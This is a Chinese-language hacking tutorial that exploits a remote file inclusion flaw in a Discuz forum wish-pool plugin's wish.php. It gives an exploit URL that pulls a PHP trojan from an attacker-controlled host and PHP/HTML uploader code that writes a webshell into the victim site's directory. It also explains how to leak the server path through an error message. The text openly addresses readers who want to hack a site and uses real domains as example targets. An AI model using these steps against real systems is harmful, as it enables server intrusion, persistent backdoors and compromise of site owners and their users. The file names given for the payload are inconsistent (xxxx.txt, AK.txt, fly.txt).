discuz论坛的许愿池插件在DZ根目录有个wish.php文件,文件第四行:

require $discuz_root.'./include/discuzcode.func.php';

很明显程序没有做任何过滤,一个十足的远程包含漏洞,具体利用方法就很简单了:

http://www.163.com/wish.php?discuz_root=http://amxking.bokee.com/xxxx.txt?

别忘了后面有个问号!xxxx.txt就是我的PHP木马,c99shell不知道为什么,我没成功,也许与操作系统有关,我没仔细去实验了,直接用的安全天使的那PHP后门,不过可以得到一个"webshell",但是用安全天使那PHP后门无法上传我们真正的webshell上去,所以用下面这个文件就可以上传你的WEBSHELL到网站目录,

<?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\cntink.php");?>

<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">

<input NAME="MyFile" TYPE="file">

<input VALUE=" 提交 " TYPE="submit">

</form>

怎么得到网站实际路径呢?很简单,直接打开http://www.163.com/wish.php?discuz_root=http://amxking.bokee.com/xxxx.txt? ,不要最后那个问号,这时你会发现程序报错了,网站的实际路径也就出来了!修改个文件里的 C:\Inetpub\vhosts\baidu.com\bbs\为当前你要黑的这个网站实际路径;cntink.php是你上传webshell后需要保存的名字,随便你取什么!

　　把上面那文件保存为txt(其他扩展名也可以)上传到你自己的网站,比如我取名为AK.txt,现在再打开http://www.163.com/wish.php?discuz_root=http://amxking.bokee.com/xxxx.txt

        OK...看见上传对话框了吧,慢慢上传你的webshell吧!上传后的路径就是你在fly.txt中所设置的路径!